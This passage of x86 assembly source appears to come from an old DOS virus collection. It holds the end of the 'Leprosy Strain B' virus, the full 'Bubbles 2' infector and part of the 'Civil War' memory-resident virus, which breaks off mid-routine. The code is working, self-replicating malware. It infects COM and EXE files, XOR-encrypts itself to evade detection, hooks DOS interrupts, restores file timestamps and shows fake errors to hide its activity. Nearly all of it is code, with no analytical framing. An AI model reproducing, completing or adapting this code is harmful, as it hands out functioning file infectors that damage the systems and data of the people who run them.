  1467. ; ---------------  Encrypt or decrypt the virus code  ----------------
  1468. encrypt_decrypt:
  1469.         mov     bx,offset virus_code    ;  Get address to start encrypt/decrypt
  1470. xor_loop:                               ;  Start cycle here
  1471.         mov     ah,[bx]                 ;  Get the current byte
  1472.         xor     ah,encrypt_val          ;  Engage/disengage XOR scheme on it
  1473.         mov     [bx],ah                 ;  Put it back where we got it
  1474.         inc     bx                      ;  Move BX ahead a byte
  1475.         cmp     bx,offset virus_code+virus_size  ;  Are we at the end?
  1476.         jle     xor_loop                ;  If not, do another cycle
  1477.         ret                             ;  and go back where we came from
  1478.  
  1479. ;-----------------------------------------------------------------------
  1480. ;   The rest of the code from here on remains encrypted until run-time,
  1481. ;   using a fundamental XOR technique that changes via CMT.
  1482. ;-----------------------------------------------------------------------
  1483. virus_code:
  1484.  
  1485. ;----------------------------------------------------------------------------
  1486. ;  All strings are kept here in the file, and automatically encrypted.
  1487. ;  Please don't be a lamer and change the strings and say you wrote a virus.
  1488. ;  Because of Cybernetic Mutation Technology(tm), the CRC of this file often
  1489. ;  changes, even when the strings stay the same.
  1490. ;----------------------------------------------------------------------------
  1491. exe_filespec    db      "*.EXE",0
  1492. com_filespec    db      "*.COM",0
  1493. newdir          db      "..",0
  1494. fake_msg        db      cr,lf,"Program too big to fit in memory$"
  1495. virus_msg1      db      cr,lf,tab,"ATTENTION!  Your computer has been afflicted with$"
  1496. virus_msg2      db      cr,lf,tab,"the incurable decay that is the fate wrought by$"
  1497. virus_msg3      db      cr,lf,tab,"Leprosy Strain B, a virus employing Cybernetic$"
  1498. virus_msg4      db      cr,lf,tab,"Mutation Technology(tm) and invented by PCM2 08/90.$"
  1499. compare_buf     db      20 dup (?)      ;  Buffer to compare files in
  1500. files_found     db      ?
  1501. files_infected  db      ?
  1502. orig_time       dw      ?
  1503. orig_date       dw      ?
  1504. orig_attr       dw      ?
  1505. handle          dw      ?
  1506. success         db      ?
  1507.  
  1508. random_mutation:                        ; First decide if virus is to mutate
  1509.         mov     ah,2ch                  ; Set up DOS function to get time
  1510.         int     21h
  1511.         cmp     encrypt_val,0           ; Is this a first-run virus copy?
  1512.         je      install_val             ; If so, install whatever you get.
  1513.         cmp     dh,15                   ; Is it less than 16 seconds?
  1514.         jg      find_extension          ; If not, don't mutate this time
  1515. install_val:
  1516.         cmp     dl,0                    ; Will we be encrypting using zero?
  1517.         je      random_mutation         ; If so, get a new value.
  1518.         mov     encrypt_val,dl          ; Otherwise, save the new value
  1519. find_extension:                         ; Locate file w/ valid extension
  1520.         mov     files_found,0           ; Count infected files found
  1521.         mov     files_infected,4        ; BX counts file infected so far
  1522.         mov     success,0
  1523. find_exe:
  1524.         mov     cx,00100111b            ; Look for all flat file attributes
  1525.         mov     dx,offset exe_filespec  ; Check for .EXE extension first
  1526.         mov     ah,4eh                  ; Call DOS find first service
  1527.         int     21h
  1528.         cmp     ax,12h                  ; Are no files found?
  1529.         je      find_com                ; If not, nothing more to do
  1530.         call    find_healthy            ; Otherwise, try to find healthy .EXE
  1531. find_com:
  1532.         mov     cx,00100111b            ; Look for all flat file attributes
  1533.         mov     dx,offset com_filespec  ; Check for .COM extension now
  1534.         mov     ah,4eh                  ; Call DOS find first service
  1535.         int     21h
  1536.         cmp     ax,12h                  ; Are no files found?
  1537.         je      chdir                   ; If not, step back a directory
  1538.         call    find_healthy            ; Otherwise, try to find healthy .COM
  1539. chdir:                                  ; Routine to step back one level
  1540.         mov     dx,offset newdir        ; Load DX with address of pathname
  1541.         mov     ah,3bh                  ; Change directory DOS service
  1542.         int     21h
  1543.         dec     files_infected          ; This counts as infecting a file
  1544.         jnz     find_exe                ; If we're still rolling, find another
  1545.         jmp     exit_virus              ; Otherwise let's pack it up
  1546. find_healthy:
  1547.         mov     bx,dta                  ; Point BX to address of DTA
  1548.         mov     ax,[bx]+attribute       ; Get the current file's attribute
  1549.         mov     orig_attr,ax            ; Save it
  1550.         mov     ax,[bx]+timestamp       ; Get the current file's time stamp
  1551.         mov     orig_time,ax            ; Save it
  1552.         mov     ax,[bx]+datestamp       ; Get the current file's data stamp
  1553.         mov     orig_date,ax            ; Save it
  1554.         mov     dx,dta+filename         ; Get the filename to change attribute
  1555.         mov     cx,0                    ; Clear all attribute bytes
  1556.         mov     al,1                    ; Set attribute sub-function
  1557.         mov     ah,43h                  ; Call DOS service to do it
  1558.         int     21h
  1559.         mov     al,2                    ; Set up to open handle for read/write
  1560.         mov     ah,3dh                  ; Open file handle DOS service
  1561.         int     21h
  1562.         mov     handle,ax               ; Save the file handle
  1563.         mov     bx,ax                   ; Transfer the handle to BX for read
  1564.         mov     cx,20                   ; Read in the top 20 bytes of file
  1565.         mov     dx,offset compare_buf   ; Use the small buffer up top
  1566.         mov     ah,3fh                  ; DOS read-from-handle service
  1567.         int     21h
  1568.         mov     bx,offset compare_buf   ; Adjust the encryption value
  1569.         mov     ah,encrypt_val          ; for accurate comparison
  1570.         mov     [bx+6],ah
  1571.         mov     si,code_start           ; One array to compare is this file
  1572.         mov     di,offset compare_buf   ; The other array is the buffer
  1573.         mov     ax,ds                   ; Transfer the DS register...
  1574.         mov     es,ax                   ; ...to the ES register
  1575.         cld
  1576.         repe    cmpsb                   ; Compare the buffer to the virus
  1577.         jne     healthy                 ; If different, the file is healthy!
  1578.         call    close_file              ; Close it up otherwise
  1579.         inc     files_found             ; Chalk up another fucked up file
  1580. continue_search:
  1581.         mov     ah,4fh                  ; Find next DOS function
  1582.         int     21h                     ; Try to find another same type file
  1583.         cmp     ax,12h                  ; Are there any more files?
  1584.         je      no_more_found           ; If not, get outta here
  1585.         jmp     find_healthy            ; If so, try the process on this one!
  1586. no_more_found:
  1587.         ret                             ; Go back to where we came from
  1588. healthy:
  1589.         mov     bx,handle               ; Get the file handle
  1590.         mov     ah,3eh                  ; Close it for now
  1591.         int     21h
  1592.         mov     ah,3dh                  ; Open it again, to reset it
  1593.         mov     dx,dta+filename
  1594.         mov     al,2
  1595.         int     21h
  1596.         mov     handle,ax               ; Save the handle again
  1597.         call    infect_file             ; Infect the healthy file
  1598.         call    close_file              ; Close down this operation
  1599.         inc     success                 ; Indicate we did something this time
  1600.         dec     files_infected          ; Scratch off another file on agenda
  1601.         jz      exit_virus              ; If we're through, terminate
  1602.         jmp     continue_search         ; Otherwise, try another
  1603.         ret
  1604. close_file:
  1605.         mov     bx,handle               ; Get the file handle off the stack
  1606.         mov     cx,orig_time            ; Get the date stamp
  1607.         mov     dx,orig_date            ; Get the time stamp
  1608.         mov     al,1                    ; Set file date/time sub-service
  1609.         mov     ah,57h                  ; Get/Set file date and time service
  1610.         int     21h                     ; Call DOS
  1611.         mov     bx,handle
  1612.         mov     ah,3eh                  ; Close handle DOS service
  1613.         int     21h
  1614.         mov     cx,orig_attr            ; Get the file's original attribute
  1615.         mov     al,1                    ; Instruct DOS to put it back there
  1616.         mov     dx,dta+filename         ; Feed it the filename
  1617.         mov     ah,43h                  ; Call DOS
  1618.         int     21h
  1619.         ret
  1620. exit_virus:
  1621.         cmp     files_found,6           ; Are at least 6 files infected?
  1622.         jl      print_fake              ; If not, keep a low profile
  1623.         cmp     success,0               ; Did we infect anything?
  1624.         jg      print_fake              ; If so, cover it up
  1625.         mov     ah,09h                  ; Use DOS print string service
  1626.         mov     dx,offset virus_msg1    ; Load the address of the first line
  1627.         int     21h                     ; Print it
  1628.         mov     dx,offset virus_msg2    ; Load the second line
  1629.         int     21h                     ; (etc)
  1630.         mov     dx,offset virus_msg3
  1631.         int     21h
  1632.         mov     dx,offset virus_msg4
  1633.         int     21h
  1634.         jmp     terminate
  1635. print_fake:
  1636.         mov     ah,09h                  ; Use DOS to print fake error message
  1637.         mov     dx,offset fake_msg
  1638.         int     21h
  1639. terminate:
  1640.         mov     ah,4ch                  ; DOS terminate process function
  1641.         int     21h                     ; Call DOS to get out of this program
  1642.  
  1643. filler          db       8 dup (90h)    ; Pad out the file length to 666 bytes
  1644.  
  1645. main    endp
  1646. code    ends
  1647.         end     main
  1648.  
  1649. done
  1650.  
  1651. Code    Segment Public 'Code'
  1652.         Assume  CS:Code
  1653.         Org     100h                              ; All .COM files start here
  1654.  
  1655. ID = 'AB'                                         ; Id for infected files
  1656. MaxFiles = 3                                      ; Max number of file to infect
  1657.  
  1658. Start:
  1659.         db     0e9h,2,0                           ; Jump to the next command
  1660.         dw     id                                 ; So this file doesnt get infected
  1661.  
  1662. Virus:
  1663.         call    realcode                          ; Push current location on stack
  1664.  
  1665. Realcode:
  1666.         pop     bp                                ; Get location off stack
  1667.         nop
  1668.         nop
  1669.         nop
  1670.         sub     bp,offset realcode                ; Adjust it for our pointer
  1671.         nop
  1672.         nop
  1673.         call    encrypt_decrypt                   ; Decrypt the virus first
  1674.  
  1675. Encrypt_Start   equ     $                         ; From here is encrypted
  1676.  
  1677.         cmp     sp,id                             ; Is this file a COM or EXE?
  1678.         je      restoreEXE                        ; Its an EXE so restore it
  1679.  
  1680.         lea     si,[bp+offset oldjump]            ; Location of old jump in si
  1681.         mov     di,100h                           ; Restore new jump to 100h
  1682.         push    di                                ; Save so we could just return when done
  1683.         movsb                                     ; Move a byte
  1684.         movsw                                     ; Move a word
  1685.         movsw                                     ; Move another word
  1686.         jmp     exitrestore
  1687.  
  1688. RestoreEXE:
  1689.         push    ds                                ; Save ExE ds
  1690.         push    es                                ; Save ExE es
  1691.         push    cs
  1692.         pop     ds                                ; DS now equals CS
  1693.         push    cs
  1694.         pop     es                                ; ES now equals CS
  1695.  
  1696.         lea     si,[bp+jmpsave2]
  1697.         lea     di,[bp+jmpsave]
  1698.         movsw                                     ; Move a word
  1699.         movsw                                     ; Move a word
  1700.         movsw                                     ; Move a word
  1701.         movsw                                     ; Move a word
  1702.  
  1703. ExitRestore:
  1704.         lea     dx,[bp+offset dta]                ; Where to put New DTA
  1705.         call    set_DTA                           ; Move it
  1706.  
  1707.         mov     [bp+counter],byte ptr 0           ; Clear counter
  1708.         mov     ax,3524h                          ; Get int 24 handler
  1709.         int     21h                               ; It gets put in ES:BX
  1710.         mov     word ptr [bp+oldint24],bx         ; Save it
  1711.         mov     word ptr [bp+oldint24+2],es
  1712.  
  1713.         mov     ah,25h                            ; Set new int 24 handler
  1714.         lea     dx,[bp+offset int24]              ; Loc of new one in DS:DX
  1715.         int     21h
  1716.  
  1717.         push    cs                                ; Restore ES
  1718.         pop     es                                ; 'cuz it was changed
  1719.  
  1720.         mov     ah,47h                            ; Get the current directory
  1721.         mov     dl,0h                             ; On current drive
  1722.         lea     si,[bp+offset currentdir]         ; Where to keep it
  1723.         int     21h
  1724.  
  1725. DirLoop:
  1726.         lea     dx,[bp+offset exefilespec]        ; Files to look for
  1727.         call    findfirst
  1728.         lea     dx,[bp+offset comfilespec]        ; Files to look for
  1729.         call    findfirst
  1730.  
  1731.         lea     dx,[bp+offset directory]          ; Where to change too '..'
  1732.         mov     ah,3bh                            ; Change directory
  1733.         int     21h
  1734.         jnc     dirloop                           ; If no problems the look for files
  1735.  
  1736.         call    activate                          ; Call the activation routine
  1737.  
  1738.         mov     ax,2524h                          ; Restore int 24 handler
  1739.         lds     dx,[bp+offset oldint24]           ; To original
  1740.         int     21h
  1741.  
  1742.         push    cs
  1743.         pop     ds                                ; Do this because the DS gets changed
  1744.  
  1745.         lea     dx,[bp+offset currentdir]         ; Location Of original dir
  1746.         mov     ah,3bh                            ; Change to there
  1747.         int     21h
  1748.  
  1749.         mov     dx,80h                            ; Location of original DTA
  1750.         call    set_dta                           ; Put it back there
  1751.  
  1752.         cmp     sp,id-4                           ; Is this file an EXE or COM?
  1753.         jz      returnEXE                         ; Its an EXE!
  1754.  
  1755.         retn                                      ; Return to 100h (original jump)
  1756.  
  1757. ReturnEXE:
  1758.         pop     es                                ; Get original ES
  1759.         pop     ds                                ; Get original DS
  1760.  
  1761.         mov     ax,es
  1762.         add     ax,10h
  1763.         add     word ptr cs:[bp+jmpsave+2],ax
  1764.         add     ax,word ptr cs:[bp+stacksave+2]
  1765.         cli                                       ; Clear int's because of stack manipulation
  1766.         mov     sp,word ptr cs:[bp+stacksave]
  1767.         mov     ss,ax
  1768.         sti
  1769.         db      0eah                              ; Jump ssss:oooo
  1770. jmpsave dd      ?                                 ; Jump location
  1771. stacksave dd    ?                                 ; Original cs:ip
  1772. jmpsave2 dd     0fff00000h
  1773. stacksave2 dd   ?
  1774.  
  1775. FindFirst:
  1776.         cmp    [bp+counter],maxfiles              ; Have we infected Too many
  1777.         ja     quit                               ; Yup
  1778.  
  1779.         mov     ah,4eh                            ; Find first file
  1780.         mov     cx,7                              ; Find all attributes
  1781.  
  1782. FindNext:
  1783.         int     21h                               ; Find first/next file int
  1784.         jc      quit                              ; If none found then change dir
  1785.  
  1786.         call    infection                         ; Infect that file
  1787.  
  1788. FindNext2:
  1789.         mov     ah,4fh                            ; Find next file
  1790.         jmp     findnext                          ; Jump to the loop
  1791.  
  1792. Quit:
  1793.         ret
  1794.  
  1795. Infection:
  1796.         mov     ax,3d00h                          ; Open file for read only
  1797.         call    open
  1798.  
  1799.         mov     ah,3fh                            ; Read from file
  1800.         mov     cx,1ah                            ; Number of bytes
  1801.         lea     dx,[bp+offset buffer]             ; Location to store them
  1802.         int     21h
  1803.  
  1804.         mov     ah,3eh                            ; Close file
  1805.         int     21h
  1806.  
  1807.         mov     ax,word ptr [bp+DTA+1Ah]          ; Get filesize from DTA
  1808.         cmp     ax,64000                          ; Is the file too large?
  1809.         ja      quitinfect                        ; file to large so getanother
  1810.  
  1811.         cmp     ax,600                            ; Is the file too small?
  1812.         jb      quitinfect                        ; file to small so getanother
  1813.  
  1814.         cmp     word ptr [bp+buffer],'ZM'         ; Is file found an EXE?
  1815.         jz      checkEXE                          ; Yup so check it
  1816.         mov     ax,word ptr [bp+DTA+35]           ; Get end of file name in ax
  1817.         cmp     ax,'DN'                           ; Does it end in 'ND'?
  1818.         jz      quitinfect                        ; Yup so get another file
  1819.  
  1820. CheckCom:
  1821.         mov     bx,word ptr [bp+offset dta+1ah]   ; Get file size
  1822.         cmp     word ptr cs:[bp+buffer+3],id      ; Check for ID
  1823.         je      quitinfect
  1824.  
  1825.         jmp     infectcom
  1826.  
  1827. CheckExe:
  1828.         cmp     word ptr [bp+buffer+10h],id       ; Check EXE for infection
  1829.         jz      quitinfect                        ; Already infected so close up
  1830.         jmp     infectexe
  1831.  
  1832. QuitInfect:
  1833.         ret
  1834.  
  1835. InfectCom:
  1836.         sub     bx,3                              ; Adjust for new jump
  1837.         lea     si,[bp+buffer]                    ; Move the old jump first
  1838.         lea     di,[bp+oldjump]
  1839.         movsb
  1840.         movsw
  1841.         movsw
  1842.         mov     [bp+buffer],byte ptr 0e9h         ; Setup new jump
  1843.         mov     word ptr [bp+buffer+1],bx         ; Save new jump
  1844.  
  1845.         mov     word ptr [bp+buffer+3],id         ; Put in ID
  1846.         mov     cx,5                              ; Number of bytes to write
  1847.  
  1848.         jmp     finishinfection
  1849. InfectExe:
  1850.         les     ax,dword ptr [bp+buffer+14h]      ; Load es with seg address
  1851.         mov     word ptr [bp+jmpsave2],ax         ; save old cs:ip
  1852.         mov     word ptr [bp+jmpsave2+2],es
  1853.  
  1854.         les     ax,dword ptr [bp+buffer+0eh]      ; save old ss:sp
  1855.         mov     word ptr [bp+stacksave2],es       ; save old cs:ip
  1856.         mov     word ptr [bp+stacksave2+2],ax
  1857.  
  1858.         mov     ax, word ptr [bp+buffer+8]        ; get header size
  1859.         mov     cl,4
  1860.         shl     ax,cl
  1861.         xchg    ax,bx
  1862.         les     ax,[bp+offset DTA+26]             ; get files size from dta
  1863.         mov     dx,es                             ; its now in dx:ax
  1864.         push    ax                                ; save these
  1865.         push    dx
  1866.  
  1867.         sub     ax,bx                             ; subtract header size from fsize
  1868.         sbb     dx,0                              ; subtract the carry too
  1869.         mov     cx,10h                            ; convert to segment:offset form
  1870.         div     cx
  1871.  
  1872.         mov     word ptr [bp+buffer+14h],dx       ; put in new header
  1873.         mov     word ptr [bp+buffer+16h],ax       ; cs:ip
  1874.  
  1875.         mov     word ptr [bp+buffer+0eh],ax       ; ss:sp
  1876.         mov     word ptr [bp+buffer+10h],id       ; put id in for later
  1877.         pop     dx                                ; get the file length back
  1878.         pop     ax
  1879.  
  1880.         add     ax,eof-virus                      ; add virus size
  1881.         adc     dx,0                              ; add with carry
  1882.  
  1883.         mov     cl,9                              ; calculates new file size
  1884.         push    ax
  1885.         shr     ax,cl
  1886.         ror     dx,cl
  1887.         stc
  1888.         adc     dx,ax
  1889.         pop     ax
  1890.         and     ah,1
  1891.  
  1892.         mov     word ptr [bp+buffer+4],dx         ; save new file size in header
  1893.         mov     word ptr [bp+buffer+2],ax
  1894.  
  1895.         push    cs                                ; es = cs
  1896.         pop     es
  1897.  
  1898.         mov     cx,1ah                            ; Size of EXE header
  1899. FinishInfection:
  1900.         push    cx                                ; save # of bytes to write
  1901.         xor     cx,cx                             ; Set attriutes to none
  1902.         call    attributes
  1903.  
  1904.         mov     al,2                              ; open file read/write
  1905.         call    open
  1906.  
  1907.         mov     ah,40h                            ; Write to file
  1908.         lea     dx,[bp+buffer]                    ; Location of bytes
  1909.         pop     cx                                ; Get number of bytes to write
  1910.         int     21h
  1911.         jc      closefile
  1912.  
  1913.         mov     al,02                             ; Move Fpointer to eof
  1914.         Call    move_fp
  1915.  
  1916. get_time:
  1917.         mov     ah,2ch                            ; Get time for encryption value
  1918.         int     21h
  1919.         cmp     dh,0                              ; If its seconds are zero get another
  1920.         je      get_time
  1921.         mov     [bp+enc_value],dh                 ; Use seconds value for encryption
  1922.  
  1923.         call    encrypt_infect                    ; Encrypt and infect the file
  1924.  
  1925.         inc     [bp+counter]                      ; Increment the counter
  1926.  
  1927. CloseFile:
  1928.         mov     ax,5701h                          ; Set files date/time back
  1929.         mov     cx,word ptr [bp+dta+16h]          ; Get old time from dta
  1930.         mov     dx,word ptr [bp+dta+18h]          ; Get old date
  1931.         int     21h
  1932.  
  1933.         mov     ah,3eh                            ; Close file
  1934.         int     21h
  1935.  
  1936.         xor     cx,cx
  1937.         mov     cl,byte ptr [bp+dta+15h]          ; Get old Attributes
  1938.         call    attributes
  1939.  
  1940.         retn
  1941.  
  1942. Activate:
  1943.         mov     ah,2ah                            ; Get current date
  1944.         int     21h
  1945.  
  1946.         cmp     cx,1993                           ; Check current Year
  1947.         jb      dont_activate
  1948.         cmp     dl,13                             ; Check current Day
  1949.         jne     dont_activate
  1950.  
  1951.         mov     ah,2ch                            ; Get current time
  1952.         int     21h
  1953.  
  1954.         cmp     ch,13                             ; Check current hour 
  1955.         jne     dont_activate
  1956.  
  1957.         mov     ah,9                              ; Display string
  1958.         lea     dx,[bp+messege]                   ; The string to display
  1959.         int     21h
  1960.  
  1961.         mov     cx,2
  1962.         include .\routines\phasor.rtn             ; Include file
  1963.  
  1964. Dont_Activate:
  1965.         ret
  1966.  
  1967. Move_Fp:
  1968.         mov     ah,42h                            ; Move file pointer
  1969.         xor     cx,cx                             ; Al has location
  1970.         xor     dx,dx                             ; Clear these
  1971.         int     21h
  1972.         retn
  1973.  
  1974. Set_DTA:
  1975.         mov     ah,1ah                            ; Move the DTA location
  1976.         int     21h                               ; DX has location
  1977.         retn
  1978.  
  1979. Open:
  1980.         mov     ah,3dh                            ; open file
  1981.         lea     dx,[bp+DTA+30]                    ; Filename in DTA
  1982.         int     21h
  1983.         xchg    ax,bx                             ; put file handle in bx
  1984.         ret
  1985.  
  1986. Attributes:
  1987.         mov     ax,4301h                          ; Set attributes to cx
  1988.         lea     dx,[bp+DTA+30]                    ; filename in DTA
  1989.         int     21h
  1990.         ret
  1991.  
  1992. int24:                                            ; New Int 24h
  1993.         mov     al,3                              ; Fail call
  1994.         iret                                      ; Return from int 24 call
  1995.  
  1996. Virusname db 'Bubbles 2'                          ; Name Of The Virus
  1997. Author    db 'Admiral Bailey'                     ; Author Of This Virus
  1998. messege:
  1999.           db 'Bubbles 2 : Its back and better then ever.',10,13
  2000.           db '            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^',10,13
  2001.           db 'Is it me or does that Make no sense at all?',10,13
  2002. Made_with db '[IVP2]',10,13,'$'                    ; Please do not remove this
  2003.  
  2004. comfilespec  db  '*.com',0                        ; Holds type of file to look for
  2005. exefilespec  db  '*.exe',0                        ; Holds type of file to look for
  2006. directory    db '..',0                            ; Directory to change to
  2007. oldjump      db  0cdh,020h,0,0,0                  ; Old jump.  Is int 20h for file quit
  2008.  
  2009. Encrypt_Infect:
  2010.         lea     si,[bp+offset move_begin]         ; Location of where to move from
  2011.         lea     di,[bp+offset workarea]           ; Where to move it too
  2012.         mov     cx,move_end-move_begin            ; Number of bytes to move
  2013. move_loop:
  2014.         movsb                                     ; Moves this routine into heap
  2015.         loop    move_loop
  2016.         lea     dx,[bp+offset workarea]
  2017.         call    dx                                ; Jump to that routine just moved
  2018.         ret
  2019.  
  2020. Move_Begin    equ     $                           ; Marks beginning of move
  2021.         push    bx                                ; Save the file handle
  2022.         lea     dx,[bp+offset encrypt_end]
  2023.         call    dx                                ; Call the encrypt_decrypt procedure
  2024.         pop     bx                                ; Get handle back in bx and return
  2025.         mov     ah,40h                            ; Write to file
  2026.         mov     cx,eof-virus                      ; Number of bytes
  2027.         lea     dx,[bp+offset virus]              ; Where to write from
  2028.         int     21h
  2029.         push    bx                                ; Save the file handle
  2030.         lea     dx,[bp+offset encrypt_end]
  2031.         call    dx                                ; Decrypt the file and return
  2032.         pop     bx                                ; Get handle back in bx and return
  2033.         ret
  2034. move_end      equ     $                           ; Marks the end of move
  2035.  
  2036. Encrypt_End   equ     $                           ; Marks the end of encryption
  2037.  
  2038. Encrypt_Decrypt:
  2039.         mov     cx,encrypt_end-encrypt_start      ; bytes to encrypt
  2040.         lea     si,cs:[bp+encrypt_start]          ; start of encryption
  2041.         mov     di,si
  2042. encloop:
  2043.         lodsb
  2044.         xor     ah,cs:[bp+enc_value]
  2045.         stosb
  2046.         loop    encloop
  2047.         ret
  2048.  
  2049. Enc_Value     db    00h                           ; Hold the encryption value 00 for nul effect
  2050.  
  2051. EOF     equ     $                                 ; Marks the end of file
  2052.  
  2053. Counter db 0                                      ; Infected File Counter
  2054. Workarea db     move_end-move_begin dup (?)       ; Holds the encrypt_infect routine
  2055. currentdir db   64 dup (?)                        ; Holds the current dir
  2056. DTA     db      42 dup (?)                        ; Location of new DTA
  2057. Buffer db 1ah dup (?)                             ; Holds exe header
  2058. OldInt24 dd ?                                     ; Storage for old int 24h handler
  2059. Filler   db  3000 dup (0)
  2060.  
  2061. eov     equ     $                                 ; Used For Calculations
  2062.  
  2063. code    ends
  2064.         end     start
  2065.  
  2066. done
  2067.  
  2068.               .Radix 16
  2069. Civil_War     Segment
  2070.         Model  small
  2071.               Assume cs:Civil_War, ds:Civil_War, es:Civil_War
  2072.  
  2073.               org 100h
  2074.  
  2075. len           equ offset last - begin
  2076. virus_len     equ len / 16d 
  2077.  
  2078. dummy:             db 0e9h, 03h, 00h, 44h, 48h, 00h       ; Jump + infection
  2079.                                               ; marker
  2080.  
  2081. begin:             Call virus                            ; make call to
  2082.                                                ; push IP on stack
  2083.  
  2084. virus:             pop      bp                          ; get IP from stack.
  2085.               sub      bp,109h                      ; adjust IP.
  2086.  
  2087. restore_host:      mov      di,0100h                    ; recover beginning
  2088.               lea      si,ds:[carrier_begin+bp]     ; of carrier program.
  2089.               mov      cx,06h
  2090.               rep      movsb
  2091.  
  2092. check_resident:    mov    ah,0a0h                     ; check if virus
  2093.              int    21h                         ; already installed.
  2094.              cmp    ax,0001h
  2095.              je       end_virus
  2096.  
  2097. adjust_memory:     mov      ax,cs                          ; start of Memory
  2098.               dec      ax                          ; Control Block
  2099.               mov      ds,ax
  2100.               cmp      byte ptr ds:[0000],5a          ; check if last
  2101.                                                ; block
  2102.               jne      abort                          ; if not last block
  2103.                                                ; end
  2104.               mov      ax,ds:[0003]                   ; decrease memory
  2105.               sub      ax,40                       ; by 1kbyte lenght
  2106.               mov      ds:[0003],ax
  2107.         sub    word ptr ds:[0012],40h
  2108.  
  2109. install_virus:     mov      bx,ax                          ; es point to start
  2110.               mov      ax,es                          ; virus in memory
  2111.               add      ax,bx
  2112.               mov      es,ax
  2113.               mov      cx,len                     ; cx = lenght virus
  2114.               mov      ax,ds                          ; restore ds
  2115.               inc      ax
  2116.               mov      ds,ax
  2117.               lea      si,ds:[begin+bp]               ; point to start virus
  2118.               lea      di,es:0100                     ; point to destination
  2119.               rep      movsb                          ; copy virus in
  2120.                                                ; memory
  2121.               mov      [virus_segment+bp],es             ; store start virus
  2122.                                                ; in memory
  2123.               mov     ax,cs                         ; restore es
  2124.               mov      es,ax
  2125.  
  2126. hook_vector:       cli                    ; no interups
  2127.               mov      ax,3521h            ; revector int 21
  2128.               int      21h
  2129.         mov     ds,[virus_segment+bp]
  2130.         mov      old_21h-6h,bx
  2131.               mov      old_21h+2-6h,es
  2132.  
  2133.               mov      dx,offset main_virus - 6h
  2134.               mov      ax,2521h
  2135.               int      21h
  2136.               sti
  2137.  
  2138. abort:             mov      ax,cs
  2139.              mov      ds,ax
  2140.               mov      es,ax
  2141.  
  2142. end_virus:         mov    bx,0100h            ; jump to begin
  2143.         jmp    bx                ; host file
  2144.  
  2145.         
  2146. ;*****************************************************************************
  2147.  
  2148. main_virus:        pushf                    
  2149.         cmp    ah,0a0h                ; check virus call
  2150.         jne    new_21h                ; no virus call
  2151.         mov    ax,0001h            ; ax = id
  2152.         popf                    ; return id    
  2153.         iret
  2154.         
  2155. new_21h:    push    ds                ; save registers
  2156.         push    es
  2157.         push    di
  2158.         push    si
  2159.         push    ax
  2160.         push    bx
  2161.         push    cx
  2162.         push    dx
  2163.  
  2164. check_open:    cmp    ah,3dh
  2165.         je    chk_com
  2166.  
  2167. check_exec:    cmp    ax,04b00h            ; exec function?
  2168.         je    chk_com
  2169.         
  2170. continu:    pop    dx                ; restore registers
  2171.         pop    cx
  2172.         pop    bx
  2173.         pop    ax
  2174.         pop    si
  2175.         pop    di
  2176.         pop    es
  2177.         pop    ds
  2178.         popf
  2179.         jmp    dword ptr cs:[old_21h-6]
  2180.  
  2181. chk_com:    mov    cs:[name_seg-6],ds
  2182.         mov    cs:[name_off-6],dx
  2183.         cld                    ; check extension
  2184.         mov    di,dx                ; for COM
  2185.         push    ds
  2186.         pop    es
  2187.         mov    al,'.'                ; search extension
  2188.         repne    scasb                ; check for 'COM"
  2189.         cmp    word ptr es:[di],'OC'        ; check 'CO'
  2190.         jne    continu
  2191.         cmp    word ptr es:[di+2],'M'        ; check 'M'
  2192.         jne    continu
  2193.         
  2194.         call    set_int24h
  2195.         call    set_atribuut
  2196.                 
  2197. open_file:    mov    ds,cs:[name_seg-6]
  2198.         mov    dx,cs:[name_off-6]
  2199.         mov    ax,3D02h            ; open file
  2200.         call     do_int21h
  2201.         jc    close_file
  2202.         push    cs
  2203.         pop    ds
  2204.         mov    [handle-6],ax
  2205.         mov    bx,ax    
  2206.  
  2207.         call    get_date    
  2208.         
  2209. check_infect:    push    cs
  2210.         pop    ds
  2211.         mov    bx,[handle-6]            ; read first 6 bytes
  2212.         mov    ah,3fh
  2213.         mov    cx,06h
  2214.         lea    dx,[carrier_begin-6]
  2215.         call    do_int21h
  2216.         mov    al, byte ptr [carrier_begin-6]+3 ; check initials    
  2217.         mov    ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H'
  2218.         cmp    ax,[initials-6]
  2219.         je    save_date             ; if equal already
  2220.                              ; infect
  2221.         
  2222. get_lenght:    mov    ax,4200h            ; file pointer begin
  2223.         call    move_pointer
  2224.         mov    ax,4202h            ; file pointer end
  2225.         call    move_pointer
  2226.         sub    ax,03h                ; ax = filelenght
  2227.         mov    [lenght_file-6],ax
  2228.         
  2229.         call    write_jmp
  2230.         call    write_virus
  2231.  
  2232. save_date:    push    cs
  2233.         pop    ds
  2234.         mov    bx,[handle-6]
  2235.         mov    dx,[date-6]
  2236.         mov    cx,[time-6]
  2237.         mov    ax,5701h
  2238.         call    do_int21h
  2239.  
  2240. close_file:    mov    bx,[handle-6]
  2241.         mov    ah,03eh                ; close file
  2242.         call    do_int21h
  2243.         
  2244.         mov    dx,cs:[old_24h-6]        ; restore int24h
  2245.         mov    ds,cs:[old_24h+2-6]
  2246.         mov    ax,2524h
  2247.         call    do_int21h
  2248.         
  2249.         jmp    continu        
  2250.         
  2251.         
  2252.  
  2253.  
  2254. new_24h:    mov    al,3
  2255.         iret
  2256.  
  2257. ;---------------------------------------------------------------------------
  2258. ;            PROCEDURES
  2259. ;---------------------------------------------------------------------------
  2260.  
  2261. move_pointer:    push    cs
  2262.         pop    ds
  2263.         mov    bx,[handle-6]
  2264.         xor    cx,cx
  2265.         xor    dx,dx
  2266.         call    do_int21h
  2267.         ret
  2268.  
  2269. do_int21h:    pushf
  2270.         call     dword ptr cs:[old_21h-6]
  2271.         ret
  2272.  
  2273. write_jmp:    push    cs
  2274.         pop    ds
  2275.         mov    ax,4200h
  2276.         call    move_pointer
  2277.         mov    ah,40h
  2278.         mov    cx,01h
  2279.         lea    dx,[jump-6]
  2280.         call    do_int21h
  2281.         mov    ah,40h
  2282.         mov    cx,02h
  2283.         lea    dx,[lenght_file-6]
  2284.         call    do_int21h
  2285.         mov    ah,40h
  2286.         mov    cx,02h
  2287.         lea    dx,[initials-6]
  2288.         call    do_int21h
  2289.         ret
  2290.  
  2291. write_virus:    push    cs
  2292.         pop    ds
  2293.         mov    ax,4202h
  2294.         call    move_pointer
  2295.         mov    ah,40
  2296.         mov    cx,len
  2297.         mov    dx,100
  2298.         call    do_int21h
  2299.         ret
  2300.  
  2301. get_date:    mov    ax,5700h
  2302.         call    do_int21h
